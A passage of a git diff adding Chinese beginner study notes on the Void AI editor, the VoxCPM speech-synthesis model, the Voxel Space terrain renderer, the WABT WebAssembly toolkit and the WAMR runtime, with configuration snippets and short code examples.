+[Tool] run_terminal curl -s http://localhost:3000/health
+```
+
+若使用 **较弱的本机 Ollama 模型**，社区 issue 反馈可能出现「建议只在聊天里、Apply 不落地」——换更大 coder 模型或云端 API 通常可缓解；这是暂停维护期需要自行踩坑的点。
+
+---
+
+## 代码示例 4：OpenAI-Compatible 接局域网 Ollama
+
+当 Ollama 部署在 LAN 且需要 API Key 时，官方 issue 建议走 **OpenAI-Compatible** 而非 Ollama 原生 tab：
+
+```json
+{
+  "void.provider.chat": "openai-compatible",
+  "void.openai-compatible.apiKey": "your-lan-api-key",
+  "void.openai-compatible.providerSettings": {
+    "baseURL": "http://192.168.1.50:11434/v1"
+  },
+  "void.openai-compatible.model": "qwen2.5-coder:7b"
+}
+```
+
+保存后重启 Chat，发 `ping` 测试；若报 `contents.parts must not be empty` 类错误，多半是兼容层与 Gemini 式请求体不匹配，可换 vLLM / LiteLLM 做统一代理。
+
+---
+
+## 常用快捷键速查
+
+| 操作 | Windows / Linux | macOS |
+|------|-----------------|-------|
+| 打开 Chat | `Ctrl+L` | `Cmd+L` |
+| 行内 Quick Edit | `Ctrl+K` | `Cmd+K` |
+| 接受补全建议 | `Tab` | `Tab` |
+| 重载开发者窗口 | `Ctrl+R` | `Cmd+R` |
+| 命令面板 | `Ctrl+Shift+P` | `Cmd+Shift+P` |
+
+---
+
+## 从零学习路径建议
+
+1. **第 1 天**：安装正式包 → 导入原 VS Code 配置 → 配一个云端模型完成 `Ctrl+L` 问答。
+2. **第 2 天**：装 Ollama → 分离 Chat 与 Autocomplete 模型 → 体验 `Ctrl+K` 小改。
+3. **第 3 天**：用 **Gather** 读陌生仓库；用 **Agent** 完成单文件小功能；练习 Checkpoint 回滚。
+4. **第 4 天**：配置 MCP 服务器（如 filesystem、GitHub），让 Agent 调外部工具。
+5. **进阶**：读 `VOID_CODEBASE_GUIDE.md`，`Cmd+Shift+B` 跑 Developer Mode，改 `contrib/void` 下 UI 或提供商适配。
+
+---
+
+## 优势与局限
+
+### 优势
+
+- **开源可审计**：完整 fork 源码，可自建发行版（void-builder）。
+- **隐私与直连**：无强制专有后端，适合 BYOK 与内网模型。
+- **VS Code 兼容**：扩展与习惯可延续，切换成本低于全新 IDE。
+- **能力栈完整**：补全 + 行内编辑 + Chat + Agent + Checkpoint + MCP 一条龙。
+- **本地友好**：Ollama 自动发现、FIM 补全、非原生 tool 模型的 Agent 适配。
+
+### 局限
+
+- **维护暂停**：新模型、新 API、安全补丁需社区或自维护 fork 跟进。
+- **编译重**：自改源码需 VS Code 级构建环境，机器与时间都不少。
+- **本地 Agent 不稳定**：小模型 + Fast Apply 在 issue 中多次报告不落地，需调模型与设置。
+- **生态分裂**：与 Cursor 的 Composer、Rules、Cloud Agent 等不会自动对齐。
+- **文档分散**：以 GitHub、Discord、changelog 为主，不如商业产品文档系统化。
+
+---
+
+## 与其他工具怎么选
+
+- 要 **闭源省心 + 最强集成**：继续用 Cursor 或 Windsurf。
+- 要 **留在 VS Code + 审批式 Agent**：[[cline]] 扩展更活跃。
+- 要 **终端 Git 工作流**：[[aider]] 更轻。
+- 要 **开源 IDE + 直连 API + 本地模型 + VS Code 外壳**：Void 仍是类别里完成度很高的选择，但需接受**更新放缓**，必要时 fork 自维护。
+
+---
+
+## 参考链接
+
+- 源码与 README：[github.com/voideditor/void](https://github.com/voideditor/void)
+- 官网与下载：[voideditor.com](https://voideditor.com)
+- 更新日志：[voideditor.com/changelog](https://voideditor.com/changelog)
+- 代码库导读：`VOID_CODEBASE_GUIDE.md`
+- 贡献与编译：`HOW_TO_CONTRIBUTE.md`
+- 发行构建：[github.com/voideditor/void-builder](https://github.com/voideditor/void-builder)
+- 社区： [Discord](https://discord.gg/RSNjgaugJs) · 邮件 hello@voideditor.com
+
+---
+
+## 小结
+
+Void 把「AI 结对编程」做成了**可自托管、可换引擎的 VS Code 发行版**：你掌握 API Key、模型与数据路径，编辑器提供 Tab 补全、行内快改、Chat、只读 Gather、可写 Agent、改动 Checkpoint 和 MCP。零基础上手只需会装 VS Code 系 IDE、会配一个 LLM 提供商；真正要花心思的是**按场景拆模型**和**在维护暂停时代替自己验证 Agent 可靠性**。若你重视透明与本地优先，Void 值得试；若你依赖最新商业功能，应并行关注 [[cline]]、Cursor 等仍在快速迭代的方案。
diff --git a/src/content/docs/projects/voxcpm.md b/src/content/docs/projects/voxcpm.md
new file mode 100644
index 000000000..624ea429a
--- /dev/null
+++ b/src/content/docs/projects/voxcpm.md
@@ -0,0 +1,192 @@
+---
+title: OpenBMB/VoxCPM — 零基础学习笔记
+来源: https://github.com/OpenBMB/VoxCPM
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# OpenBMB/VoxCPM — 零基础学习笔记
+
+## 一句话概括
+
+VoxCPM 是一个不需要把声音切成"离散编码"就能说话的 AI 系统——你给它文字，它还你一段逼真的人声录音。
+
+## 从日常类比开始
+
+想象一下，你想让一个人念一段话。传统做法像这样：
+
+1. 先把你的文字翻译成"音标"（比如拼音）
+2. 再把每个音标对应到一个固定的声音片段
+3. 最后把这些片段拼起来
+
+这种方式的问题在于：声音片段是"离散的"，就像乐高积木——只有有限的几块，拼出来的声音听起来机械、生硬。
+
+VoxCPM 的做法完全不同。它不经过"音标"这一步，而是直接把文字变成一段连续的声波信号。类比来说：
+
+- 传统方法：用有限颜色的蜡笔画画，颜色少，过渡生硬
+- VoxCPM：用水彩颜料，颜色可以无限渐变，画面自然流畅
+
+这就是论文里反复说的 **"tokenizer-free"**（无分词器）的意思。
+
+## 核心概念
+
+### 1. Tokenizer-Free（无分词器）
+
+传统 TTS（Text-to-Speech）系统中间有一个关键步骤叫"音频分词"（audio tokenization）：把声音压缩成一个个离散的 code（类似压缩图片成像素块）。好处是计算快，坏处是信息丢失，声音不够自然。
+
+VoxCPM 跳过了这一步，直接在**连续空间**（continuous space）里处理声音。你可以把连续空间想象成一根橡皮筋——它可以被拉伸到任意长度、任意形状，而不是只能跳到几个固定位置。
+
+### 2. Diffusion Autoregressive（扩散自回归）
+
+这个词拆开看更好理解：
+
+- **Diffusion（扩散）**：来自图像生成领域的技术。简单说，就是从一团噪声慢慢"去噪"出清晰的声音。就像你从模糊的照片一点点调出清晰画面。
+- **Autoregressive（自回归）**：意思是"一步步来"。模型每次只生成一小段声音，然后把这段声音作为下一段的参考，继续生成下一段。就像你写字是一个字一个字写出来，而不是整句话同时出现在纸上。
+
+两者结合：VoxCPM 一边"去噪"一边"逐步推进"，最终生成一段连贯的自然语音。
+
+### 3. AudioVAE（音频变分自编码器）
+
+这是 VoxCPM 的"耳朵"和"嘴巴"：
+
+- **Encoder（编码器）**：把原始音频压缩成一个紧凑的数学表示（latent representation），方便模型处理
+- **Decoder（解码器）**：把模型生成的数学表示还原成你能听到的音频
+
+VoxCPM 用的是 **AudioVAE V2**，它的一个厉害之处在于：输入 16kHz 的低质量音频，输出 48kHz 的高质量音频——内置了超分辨率（super-resolution）能力。
+
+### 4. 四阶段处理流程（VoxCPM2 架构）
+
+VoxCPM2 的处理流程像一个流水线工厂：
+
+1. **LocEnc**：从参考音频中提取说话人的声音特征（音色、音调）
+2. **TSLM**（Text-to-Speech Language Model）：根据文字内容生成语音的语义表示
+3. **RALM**（Reference Audio Language Model）：结合参考音频的特征，调整生成的语音
+4. **LocDiT**（Local Diffusion Transformer）：把最终的数学表示还原成高质量音频
+
+## 能做什么
+
+### 文本转语音（TTS）
+
+最基本的功能：输入文字，输出语音。支持 30 种语言和 9 种中文方言。
+
+### 音色设计（Voice Design）
+
+只用文字描述就能创造一个新声音。比如："一个年轻女性的声音，温柔甜美，略带微笑"。不需要任何参考音频。
+
+### 声音克隆（Voice Cloning）
+
+给一段别人的录音，VoxCPM 就能克隆那个人的声音。有两种模式：
+
+- **可控克隆**：克隆音色的同时还能控制语速、情绪
+- **极致克隆**：给出参考音频和对应的文字，实现最高保真度的克隆
+
+### 流式合成
+
+可以一段一段地生成音频，适合实时场景（比如聊天机器人）。
+
+## 代码示例
+
+### 示例 1：基础文本转语音
+
+```python
+from voxcpm import VoxCPM
+import soundfile as sf
+
+# 加载模型（首次运行会自动从 HuggingFace 下载）
+model = VoxCPM.from_pretrained(
+    "openbmb/VoxCPM2",
+    load_denoiser=False,
+)
+
+# 生成语音
+wav = model.generate(
+    text="VoxCPM2 是目前推荐使用的多语言语音合成版本。",
+    cfg_value=2.0,          # 指导系数，越高越严格按文字生成
+    inference_timesteps=10, # 扩散步数，越多越精细（也越慢）
+)
+
+# 保存为 WAV 文件
+sf.write("demo.wav", wav, model.tts_model.sample_rate)
+print("已保存: demo.wav")
+```
+
+这里 `cfg_value` 就像是"严格程度"的旋钮。设为 2.0 意味着模型会比较严格地按照文字内容生成，数值越高，生成的语音越贴近文字的字面意思，但可能失去一些自然感。`inference_timesteps` 是扩散过程的步数——想象你在画画，10 步就像粗略勾勒，50 步就像精雕细琢。
+
+### 示例 2：音色设计 + 声音克隆
+
+```python
+from voxcpm import VoxCPM
+import soundfile as sf
+
+model = VoxCPM.from_pretrained("openbmb/VoxCPM2", load_denoiser=False)
+
+# --- 音色设计：用文字描述创造声音 ---
+wav = model.generate(
+    text="(年轻男性，声音低沉稳重，语速偏慢)你好，欢迎来到 VoxCPM2 的世界。",
+    cfg_value=2.0,
+    inference_timesteps=10,
+)
+sf.write("voice_design.wav", wav, model.tts_model.sample_rate)
+
+# --- 声音克隆：用参考音频克隆声音 ---
+wav = model.generate(
+    text="(稍快一点，欢快的语气)这是克隆出来的声音！",
+    reference_wav_path="path/to/reference.wav",
+    cfg_value=2.0,
+    inference_timesteps=10,
+)
+sf.write("cloned_voice.wav", wav, model.tts_model.sample_rate)
+```
+
+注意 `text` 参数的写法：括号里的内容是**音色指令**，括号外面是要朗读的文字。VoxCPM 会先读取括号里的描述，调整声音风格，然后再读后面的内容。
+
+### 示例 3：流式合成
+
+```python
+from voxcpm import VoxCPM
+import soundfile as sf
+import numpy as np
+
+model = VoxCPM.from_pretrained("openbmb/VoxCPM2", load_denoiser=False)
+
+# 流式生成：一段一段地输出
+chunks = []
+for chunk in model.generate_streaming(
+    text="流式语音合成让实时对话成为可能。",
+):
+    chunks.append(chunk)
+
+# 拼接所有片段并保存
+wav = np.concatenate(chunks)
+sf.write("streaming.wav", wav, model.tts_model.sample_rate)
+```
+
+流式生成的好处是：你不需要等整段语音都生成完才能听到。第一段出来就可以播放，后面的一段段陆续跟上。这对于聊天机器人、游戏 NPC 等实时场景很重要。
+
+## 模型版本对比
+
+| 特性 | VoxCPM2 | VoxCPM1.5 | VoxCPM-0.5B |
+|------|---------|-----------|-------------|
+| 参数量 | 20亿 | 6亿 | 5亿 |
+| 音频质量 | 48kHz | 44.1kHz | 16kHz |
+| 支持语言 | 30种 | 2种 | 2种 |
+| 音色设计 | ✅ | ❌ | ❌ |
+| 声音克隆 | ✅ | ✅ | ✅ |
+| 显存需求 | ~8GB | ~6GB | ~5GB |
+
+VoxCPM2 是当前推荐使用的版本。如果你显卡不太好，VoxCPM1.5 是个不错的折中选择。
+
+## 为什么重要
+
+传统 TTS 系统（比如你手机里的 Siri）听起来"像机器"，因为它们是"拼"出来的声音。VoxCPM 代表的方向是：让 AI 真正"理解"声音的连续性，而不是把它当成一堆离散的积木。
+
+这背后的思想其实和当前大语言模型的发展是一致的——从"离散的 token 预测"走向"连续的语义表达"。VoxCPM 把这个思路用在了声音上，效果就是：你几乎听不出它是 AI 生成的。
+
+## 进一步学习
+
+- 官方文档：https://voxcpm.readthedocs.io/
+- 技术报告（VoxCPM2）：https://arxiv.org/abs/2606.06928
+- 技术报告（VoxCPM 原版）：https://arxiv.org/abs/2509.24650（ICLR 2026）
+- 在线体验：https://huggingface.co/spaces/OpenBMB/VoxCPM-Demo
diff --git a/src/content/docs/projects/voxel-space-2017.md b/src/content/docs/projects/voxel-space-2017.md
new file mode 100644
index 000000000..26f7b1e8e
--- /dev/null
+++ b/src/content/docs/projects/voxel-space-2017.md
@@ -0,0 +1,191 @@
+---
+title: Voxel Space (Comanche-style raycaster, 2017)
+来源: https://s-macke.github.io/VoxelSpace/
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+---
+
+# Voxel Space — Comanche 风格的射线投射地形渲染
+
+## 一、日常类比：一张有起伏的桌布
+
+想象你手里有一张巨大的塑料桌布，上面印着山川河流的图案。现在你在桌布的下面撑起很多根柱子——有的柱子高，桌布就被顶起来形成山；有的柱子矮，桌布就只是微微隆起。
+
+Voxel Space 渲染的地形，本质上就是这张"被柱子撑起来的桌布"。只不过：
+
+- 柱子的高度存在一张 **高度图（height map）** 里，每个格子存一个 0-255 的值
+- 桌布的颜色存在一张 **颜色图（color map）** 里，每个格子存一个颜色值
+- 你的"眼睛"（摄像机）在桌布上方飞，往下看
+
+关键洞察：**颜色图里已经包含了阴影和光照效果**。引擎不需要实时计算光线——它只是把颜色图上的像素"贴"到屏幕上。这就像桌布上的图案本身就是画家画好光影的成品，你只需要把它正确地显示出来。
+
+## 二、核心概念拆解
+
+### 2.1 什么是"2.5D"？
+
+现代 3D 引擎（如 Unity、Unreal）用**多边形**建模：把地形切成无数个小三角形，再给 GPU 算光照。
+
+Voxel Space 是 **2.5D** —— 它只用两张 2D 贴图（高度图 + 颜色图），通过一种叫 **射线投射（ray casting）** 的方法"画"出 3D 效果。它不能做悬空建筑或树木（因为一个地面位置只能有一个高度值），但在 1992 年的 CPU 上，这已经是魔法了。
+
+### 2.2 两个核心数据结构
+
+| 数据结构 | 大小 | 含义 |
+|---------|------|------|
+| 高度图 (height map) | 1024 x 1024，每格 1 字节 | 记录地形每个点的高度 |
+| 颜色图 (color map) | 1024 x 1024，每格 1 字节 | 记录地形每个点的颜色（含阴影） |
+
+这两张图是 **周期性的**：走到图的右边会从左边出来，就像在一个无限延伸的世界上飞行。
+
+### 2.3 渲染流程：从后往前画
+
+Voxel Space 的渲染逻辑可以概括为 6 步：
+
+1. 清屏
+2. 从远处往近处画（保证遮挡关系正确）
+3. 根据摄像机位置和视角，计算屏幕上每一列对应地图上哪一条线
+4. 把这条线"切片"成屏幕宽度的若干段
+5. 对每一段，查高度图和颜色图
+6. 做透视投影，画一条垂直线
+
+## 三、代码示例
+
+### 示例 1：最简渲染循环（无旋转）
+
+这是 Voxel Space 引擎的核心，不到 15 行伪代码：
+
+```python
+def render(p, height, horizon, scale_height, distance, screen_width, screen_height):
+    """
+    p         = 摄像机在地图上的 (x, y) 位置
+    height    = 摄像机的海拔高度
+    horizon   = 地平线在屏幕上的 y 坐标（越大越靠下）
+    scale_height = 高度缩放因子（控制山的"陡峭程度"）
+    distance  = 最大渲染距离
+    """
+    # 从远到近：z 从 distance 递减到 2
+    for z in range(distance, 1, -1):
+        # 计算当前深度 z 对应的屏幕左边缘和右边缘在地图上的坐标
+        # 这对应 90 度视野角
+        pleft  = Point(-z + p.x, -z + p.y)
+        pright = Point( z + p.x, -z + p.y)
+
+        # 把这条线分成 screen_width 段
+        dx = (pright.x - pleft.x) / screen_width
+
+        # 对屏幕的每一列画一条垂直线
+        for i in range(0, screen_width):
+            # 透视投影：离得越远(z越大)，同样的高度差看起来越小
+            # 所以除以 z
+            h = heightmap[pleft.x, pleft.y]
+            height_on_screen = (height - h) / z * scale_height + horizon
+
+            # 查颜色图，画垂直线
+            color = colormap[pleft.x, pleft.y]
+            DrawVerticalLine(i, height_on_screen, screen_height, color)
+
+            # 移动到下一个采样点
+            pleft.x += dx
+            pleft.y += dx  # 90度视野时 dx == dy
+
+# 调用：摄像机在 (0,0)，高度 50，地平线在 120，缩放 120，最远渲染 300
+render(Point(0, 0), 50, 120, 120, 300, 800, 600)
+```
+
+**逐行理解：**
+
+- `(height - h) / z` 是透视投影的核心公式。想象你站在山顶：远处的山谷看起来比近处的浅谷"压缩"得更厉害。除以 `z` 就是这个效果。
+- `horizon` 是地平线位置。如果地平线在屏幕中间（比如 120/600），那屏幕下半部分就是地面，上半部分是天空。
+- 从 `z = distance` 画到 `z = 2`（从远到近），这叫 **画家算法（painter's algorithm）**——先画远的，近的会遮住远的，自然产生遮挡关系。
+
+### 示例 2：加入旋转 + 从近到远优化
+
+实际游戏中你需要 360 度旋转视角。加入旋转后，核心变化是用 **正弦和余弦** 旋转坐标：
+
+```python
+def render_rotated(p, phi, height, horizon, scale_height, distance, screen_width, screen_height):
+    """
+    phi = 摄像机朝向的角度（弧度制）
+    """
+    # 预计算角度参数（循环外算一次，性能关键！）
+    sinphi = math.sin(phi)
+    cosphi = math.cos(phi)
+
+    # 从近到远画，配合 ybuffer 优化性能
+    ybuffer = np.zeros(screen_width)  # 每列已渲染的最高 y 值
+    for i in range(screen_width):
+        ybuffer[i] = screen_height
+
+    dz = 1.0
+    z = 1.0
+    while z < distance:
+        # 用旋转矩阵变换地图坐标
+        pleft = Point(
+            (-cosphi * z - sinphi * z) + p.x,
+             ( sinphi * z - cosphi * z) + p.y)
+        pright = Point(
+             ( cosphi * z - sinphi * z) + p.x,
+            (-sinphi * z - cosphi * z) + p.y)
+
+        dx = (pright.x - pleft.x) / screen_width
+        dy = (pright.y - pleft.y) / screen_width
+
+        for i in range(screen_width):
+            h = heightmap[pleft.x, pleft.y]
+            height_on_screen = (height - h) / z * scale_height + horizon
+
+            # 只画 ybuffer 之上未被遮挡的部分
+            DrawVerticalLine(i, height_on_screen, ybuffer[i], colormap[pleft.x, pleft.y])
+
+            # 更新遮挡记录
+            if height_on_screen < ybuffer[i]:
+                ybuffer[i] = height_on_screen
+
+            pleft.x += dx
+            pleft.y += dy
+
+        # 远距离增大步距 = Level of Detail 优化
+        z += dz
+        dz += 0.2  # 越远步距越大，减少远处的绘制量
+
+render_rotated(Point(0, 0), 0, 50, 120, 120, 300, 800, 600)
+```
+
+**这段代码的两个关键优化：**
+
+1. **Y-Buffer 遮挡剔除**：从近到远画时，每一列记住"已经画到了多高"。后面的线如果比之前画的低，就不用画了——因为它被前面的山挡住了。这省掉了大量"从远到近"方案中不必要的底部填充。
+
+2. **动态步距（Level of Detail）**：`dz += 0.2` 意味着离得越远，每次跳的深度越大。远处的地形用更少的扫描线渲染，近处用更密集的扫描线。这是一种粗糙的 LOD，但在 1992 年的 CPU 上非常有效。
+
+## 四、为什么这个算法在当年是突破？
+
+1992 年的 CPU 速度只有今天的约千分之一，而且没有 GPU。在这个条件下：
+
+- **传统 3D 方法**：用多边形建模，需要大量的浮点运算做矩阵变换、光照计算、纹理映射——当时的 CPU 根本跑不动
+- **Voxel Space 方法**：只需要查两张表（高度图和颜色图）、做一次除法（透视投影）、画几条垂直线——全部可以用整数运算完成
+
+颜色图中预烘焙的光照和阴影是最大的聪明之处：**把最贵的光照计算提前做完了，运行时只负责"贴上去"**。
+
+## 五、局限性与现代意义
+
+**局限性：**
+- 一个地面位置只能有一个高度值，不能有悬空结构、洞穴或建筑
+- 无法动态改变地形（除非重新生成颜色图）
+- 分辨率受限于贴图大小（原始 Comanche 是 1024x1024）
+
+**现代意义：**
+- 这种"从 2D 贴图生成 3D 地形"的思想在现代游戏引擎中依然常见（如 Unity 的 Terrain 系统也使用高度图）
+- ray casting 技术在 Wolfenstein 3D（1992）中也有类似应用
+- VoxelSpace 项目在 2017 年用 Web 技术重新实现了这个经典算法，让我们能在浏览器里直观地学习和交互
+
+## 六、动手试试
+
+VoxelSpace 项目提供了一个在线演示：https://s-macke.github.io/VoxelSpace/VoxelSpace.html
+
+打开后你可以：
+- 用鼠标控制飞行方向和高度
+- 看到地形随着视角旋转而变化
+- 感受这个 25 年前的算法在今天的浏览器里依然流畅运行
+
+建议边玩边回想上面的公式：`(height - h) / z * scale_height + horizon`——这就是整个 3D 世界的核心。
diff --git a/src/content/docs/projects/vscode.md b/src/content/docs/projects/vscode.md
index b9b152053..d4319dd83 100644
--- a/src/content/docs/projects/vscode.md
+++ b/src/content/docs/projects/vscode.md
@@ -154,18 +154,27 @@ VS Code = Electron 壳 + Monaco 内核 + 扩展宿主进程 + LSP/DAP/Remote 三
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[aider]] —— Aider — 终端 AI 结对编程 CLI
 - [[atom]] —— Atom — 已归档的 Web 编辑器先驱
 - [[claude-code]] —— Claude Code — Anthropic 终端编程助手
+- [[cline]] —— Cline — VS Code 自主编码代理
+- [[code-server]] —— code-server — 在浏览器里跑完整 VS Code
 - [[codemirror]] —— CodeMirror — 编辑器不是一个类，是一组扩展的合奏
+- [[coder]] —— Coder — 自托管开发环境平台
 - [[continue]] —— Continue — 让 AI code review 跑成 git 跟踪的 PR status check
 - [[electron]] —— Electron — Chromium + Node.js 跨平台桌面应用框架
 - [[geany]] —— Geany — GTK 轻量 IDE
+- [[gitpod]] —— Gitpod — 预构建云开发环境
 - [[lite-xl]] —— Lite XL — 用 Lua 驱动一切的极简文本编辑器
 - [[monaco-editor]] —— monaco-editor — 把 VSCode 编辑器搬进浏览器的 SDK
 - [[notepad-plus-plus]] —— Notepad++ — Windows 国民文本编辑器
+- [[opencode]] —— OpenCode — SST 出品的终端 AI IDE
+- [[openvscode-server]] —— OpenVSCode Server — VS Code Server 上游
 - [[platformio-core]] —— PlatformIO Core — 一套命令行，统管千块嵌入式开发板
+- [[roo-code]] —— Roo Code — 多模式 VS Code AI 助手
 - [[shiki]] —— shiki — 把 VS Code 那套染色搬到网页上
 - [[spacemacs]] —— Spacemacs — Space 键统一 Vim 与 Emacs
 - [[textmate]] —— TextMate — macOS 经典编辑器，语法格式影响了所有人
 - [[theia]] —— Eclipse Theia — 云原生 IDE 框架基座
+- [[void]] —— Void — 开源 Cursor 替代
 
diff --git a/src/content/docs/projects/wabt.md b/src/content/docs/projects/wabt.md
new file mode 100644
index 000000000..430763a97
--- /dev/null
+++ b/src/content/docs/projects/wabt.md
@@ -0,0 +1,164 @@
+---
+title: WABT — WebAssembly 二进制工具包
+来源: https://github.com/WebAssembly/wabt
+日期: 2026-06-13
+分类: 其他
+子分类: wasm-toolchain
+provenance: pipeline-v3
+---
+
+# WABT — WebAssembly 二进制工具包
+
+## 什么是 WABT？
+
+想象你有一本中文小说，但你只会英文。你需要的是一本**翻译字典**——把中文逐页翻成你能读懂的英文。
+
+WABT（读音 "wabbit"）就是 WebAssembly 世界的"翻译字典"。
+
+WebAssembly（简称 wasm）是一种二进制格式，浏览器和服务器都能高效执行它。但这种二进制格式对人类来说几乎完全不可读——就像看天书。WABT 提供了一整套工具，在这些二进制文件和人类可读的文本格式之间来回转换。
+
+它是 WebAssembly 官方的二进制工具套件，由 WebAssembly 社区维护，用 C/C++ 编写，目前有 8000+ Star。
+
+## 核心概念
+
+### WebAssembly 有两种表示形式
+
+理解 WABT 之前，必须先理解 WebAssembly 的两种形态：
+
+- **二进制格式（.wasm）**：压缩后的机器码，体积小、执行快，但人类看不懂
+- **文本格式（.wat）**：人类可读的伪汇编代码，像代码一样可以阅读和编辑
+
+WABT 的核心价值就是在这两种格式之间搭建桥梁。
+
+### WABT 的主要工具
+
+| 工具 | 作用 | 类比 |
+|------|------|------|
+| wat2wasm | .wat 转 .wasm | 把"英文手稿"编译成"中文出版书" |
+| wasm2wat | .wasm 转 .wat | 把"中文出版书"翻译回"英文手稿" |
+| wasm-objdump | 反汇编二进制文件 | 拆开一本书看每一页的印刷细节 |
+| wasm-interp | 解释执行 wasm 文件 | 找一个译者当场朗读并演示 |
+| wasm-decompile | 反编译为类 C 语法 | 把书改写为小说体 |
+| wasm-strip | 剥离二进制中的无用部分 | 删掉书的附录和版权页 |
+| wasm-validate | 校验 wasm 是否合法 | 请编辑审稿看这本书有没有错 |
+| wasm2c | 把 wasm 转为 C 代码 | 把整本书的内容写成 C 语言程序 |
+
+## 实际使用示例
+
+### 示例一：把文本格式编译为二进制
+
+假设你写了一个简单的 WebAssembly 文本文件 `hello.wat`：
+
+```wat
+(module
+  (func $add (param $a i32) (param $b i32) (result i32)
+    local.get $a
+    local.get $b
+    i32.add
+  )
+  (export "add" (func $add))
+)
+```
+
+这段代码定义了一个叫 `add` 的函数，接受两个 32 位整数参数，返回它们的和。然后用 `wat2wasm` 编译：
+
+```bash
+wat2wasm hello.wat -o hello.wasm
+```
+
+执行后，你会得到一个 `hello.wasm` 二进制文件。你可以用 `wasm-validate` 检查它是否合法：
+
+```bash
+wasm-validate hello.wasm
+```
+
+如果没有报错，说明编译成功。
+
+### 示例二：把二进制文件反汇编为可读文本
+
+现在你已经有了一个 `.wasm` 二进制文件，想知道里面写了什么。用 `wasm2wat`：
+
+```bash
+wasm2wat hello.wasm -o hello-readable.wat
+```
+
+输出结果：
+
+```wat
+(module
+  (type $0 (func (param i32 i32) (result i32)))
+  (func $add (type 0) (param $0 i32) (param $1 i32) (result i32)
+    local.get $0
+    local.get $1
+    i32.add)
+  (export "add" (func $add))
+)
+```
+
+你会发现反汇编出来的文本和原始源码略有不同——变量名变成了 `$0`、`$1`，类型被提取到了独立的 `type` 声明中。这是因为编译器在编译过程中做了优化和规范化。
+
+### 示例三：用 objdump 查看二进制内部细节
+
+`wasm-objdump` 能深入查看 wasm 文件的内部结构：
+
+```bash
+wasm-objdump -x hello.wasm
+```
+
+输出类似：
+
+```
+hello.wasm:    file format wasm 0x1
+
+Section Details:
+
+Type[2]:
+ - type[0] -> ()
+ - type[1] -> (ii) i
+
+Import[0]: no imports
+
+Function[1]:
+ - func[0] sig=1 <add>
+
+Export[1]:
+ - export[0] = add -> Function[0]
+
+Code[1]:
+ - func[0] size=9
+```
+
+这告诉你：模块有 2 种函数签名、0 个导入、1 个函数、1 个导出、以及代码段的长度。这些信息对于调试和优化 wasm 文件非常有用。
+
+## 为什么 WABT 很重要？
+
+1. **调试利器**：当你遇到 wasm 执行错误时，`wasm2wat` 能立刻让你看到内部发生了什么
+2. **学习入口**：初学者通过对比 .wat 和 .wasm，能快速理解 WebAssembly 的二进制布局
+3. **开发基础设施**：几乎所有 WebAssembly 编译链（如 Emscripten、WASI SDK）都依赖 WABT 的工具做中间处理
+4. **安全审计**：`wasm-objdump` 和 `wasm-validate` 可以帮助检查 wasm 文件是否符合预期
+
+## 安装方法
+
+最简单的方式是用包管理器：
+
+```bash
+# macOS
+brew install wabt
+
+# Ubuntu / Debian
+sudo apt install wabt
+
+# 从源码编译
+git clone --recursive https://github.com/WebAssembly/wabt
+cd wabt
+mkdir build && cd build
+cmake .. && cmake --build .
+```
+
+编译完成后，所有工具都会出现在 `bin/` 目录下。
+
+## 总结
+
+WABT 是 WebAssembly 生态中最基础的工具集之一。它做的事情看似简单——在两种格式之间转换——但正是这种"翻译"能力，让 WebAssembly 从一种神秘的二进制格式变成了开发者可以理解和操作的技术。
+
+就像你不会在没有翻译器的情况下读一本外语书一样，没有 WABT 的工具链，WebAssembly 对大多数人来说就是一堆看不懂的字节。
diff --git a/src/content/docs/projects/wamr.md b/src/content/docs/projects/wamr.md
new file mode 100644
index 000000000..271cc9a45
--- /dev/null
+++ b/src/content/docs/projects/wamr.md
@@ -0,0 +1,323 @@
+---
+title: WAMR — wasm 微运行时（嵌入式）
+description: Bytecode Alliance 出品的轻量级 WebAssembly 运行时，面向 MCU、RTOS 与边缘设备
+来源: 'https://github.com/bytecodealliance/wasm-micro-runtime'
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：给单片机装一个「可换插件的沙箱」
+
+想象你家智能插座里跑的是一块只有 256KB Flash、64KB RAM 的 MCU。厂商想让你「远程升级业务逻辑」，但又怕随便塞一段 C 代码把整台设备搞崩、或者泄露 Wi-Fi 密码。
+
+传统做法：要么整固件 OTA（风险大、回滚难），要么自己写一套脚本解释器（安全模型薄弱）。**WAMR（WebAssembly Micro Runtime）** 提供第三条路：把业务逻辑编译成 **WebAssembly 字节码**，在设备里用一个小到几十 KB 的运行时执行——像给 MCU 装了一个**可热插拔、带沙箱的插件槽**。
+
+和浏览器里的 Wasm 不同，WAMR 不追求跑整页 Web 应用，而是为 **嵌入式、IoT、边缘网关、TEE（可信执行环境）** 裁剪：解释器 ~85KB、AOT 运行时 ~50KB 量级，能跑在 Zephyr、RT-Thread、ESP-IDF、VxWorks 乃至 Linux SGX 上。
+
+## 是什么
+
+**WAMR** 是 [Bytecode Alliance](https://bytecodealliance.org/) 旗下的轻量级独立 WebAssembly 运行时，用 C 编写，核心目标是：
+
+- **极小体积**：Cortex-M4F 上 fast interpreter 文本段约 59KB，AOT 运行时约 29KB（官方 bloaty 数据，随特性开关变化）
+- **多执行模式**：经典/快速解释器、AOT（Ahead-of-Time）、LLVM JIT、Fast JIT、Multi-tier JIT
+- **高度可配置**：CMake 开关裁剪 libc、WASI、线程、SIMD、调试等
+- **跨平台**：x86、ARM/Thumb、AArch64、RISC-V、Xtensa（ESP32）、MIPS、ARC 等
+
+仓库结构可以粗分为：
+
+| 组件 | 作用 |
+|------|------|
+| **iwasm / VMcore** | 解释/编译执行 Wasm 的核心 |
+| **wamrc** | 把 `.wasm` 离线编译成 `.aot` 的 AOT 编译器（基于 LLVM） |
+| **product-mini** | 带 CLI 的 `iwasm` 可执行文件，快速验证 |
+| **wamr-app-framework**（独立仓库） | IoT 应用框架：定时器、传感器、进程间通信、LVGL GUI |
+| **wamr-sdk** | 菜单式配置，裁剪运行时并交叉编译 Wasm 应用 |
+
+一句话：**Wasmtime 是服务器/桌面上的「标准跑车」，WAMR 是塞进手表和路由器里的「袖珍引擎」。**
+
+## 为什么重要
+
+嵌入式场景里，「能跑 Wasm」和「能**好用**地跑 Wasm」差很远：
+
